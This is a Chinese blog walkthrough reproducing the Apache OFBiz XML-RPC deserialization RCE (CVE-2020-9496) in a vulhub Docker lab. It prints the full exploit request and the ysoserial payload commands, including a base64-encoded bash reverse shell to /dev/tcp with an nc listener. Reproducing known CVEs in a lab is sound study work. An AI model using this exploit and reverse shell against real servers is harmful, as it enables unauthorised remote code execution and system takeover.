Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

0x00简介

Apache OFBiz全称是The ApacheOpen For Business Project。是开放的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新的J2EE/XML规范和技术标准,构建大中型企业级、快平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz几乎实现了所有的J2EE核心设计模式,各个模块之间的耦合比较松散,用户能够比较容易的根据自己的需要进行拆卸,非常灵活。

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

0x01漏洞概述

Apache ofbiz 存在反序列化漏洞,攻击者 通过 访问未授权接口,构造特定的xmlrpc http请求,可以造成远程代码执行的影响。

0x02影响版本

  • Apache Ofbiz:< 17.12.04

0x03环境搭建

1、本次环境使用vulhub搭建,在装有docker环境的虚拟机中下载

git clone https://github.com/vulhub/vulhub.git

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

2、进入漏洞目录,使用docker-compose拉取漏洞环境,看到绿色的done表示成功

cd vulhub/ofbiz/CVE-2020-9496/

docker-compose up -d

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

3、在浏览器访问https://your-ip:8443/myportal/control/main访问注册页面

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

4、安装漏洞复现所需要的环境

4.1安装java8环境

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统版本选择jdk下载

4.2下载完成创建一个文件夹,把下载好的java解压到创建的文件

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

4.3添加Java环境变量

vim /etc/profile

末尾增加

export JAVA_HOME=/opt/java/ jdk1.8.0_141

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

4.4添加完成后使用环境变量马上生效,刷新完成后查看java版本

source /etc/profile

java -version
Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

5、安装maven,使用wget下载mvn

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

5.1配置环境变

vim /etc/profile

5.2在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

5.3添加完成后使用环境变量马上生效,刷新完成后查看maven版本

source /etc/profile

mvn -version
Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

0x04漏洞复现

1、在GitHub上下载java反序列化利用工具ysoserial,

git clone https://github.com/frohoff/ysoserial.git

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

2、进入ysoserial目录使用maven下载编译需要得包,编译成功为以下图片

mvn clean package -DskipTests

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

3、在ysoserial目录可以看到有一个target目录,进入此目录

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

4、在页面url访问以下链接使用Burp抓包,并发送到Repeater模块

https://your-ip:8443/webtools/control/xmlrpc

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现
Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

5、把数据包替换成以下数据包

POST /webtools/control/xmlrpc HTTP/1.1

Host: your-ip

Content-Type: application/xml

Content-Length: 4093

<?xml version="1.0"?>

<methodCall>

<methodName>ProjectDiscovery</methodName>

<params>

<param>

<value>

<struct>

<member>

<name>test</name>

<value>

<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>

</value>

</member>

</struct>

</value>

</param>

</params>

</methodCall>

6、使用使用ysoserial的CommonsBeanutils1来生成Payload在tmp目录写入文件

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

7、复制base64编码得payload,粘贴到burp数据包中base64payload的地方,点击发送,可以进docker中查看是否写入成功

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现
Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现
Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

8、利用漏洞反弹shell,去以下网址把反弹shellpayload进行base64编码

http://www.jackson-t.ca/runtime-exec-payloads.html

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

9、把编码后的shell在使用ysoserial工具进行一次base64编码

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xMzIvMjI1OSAwPiYx}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

10、nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell

Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现
Apache Ofbiz XMLRPC RCE漏洞(CVE-2020-9496)复现

0x05修复建议

1、建议升级至最新版本

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,233评论 6 495
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,357评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,831评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,313评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,417评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,470评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,482评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,265评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,708评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,997评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,176评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,503评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,150评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,391评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,034评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,063评论 2 352

推荐阅读更多精彩内容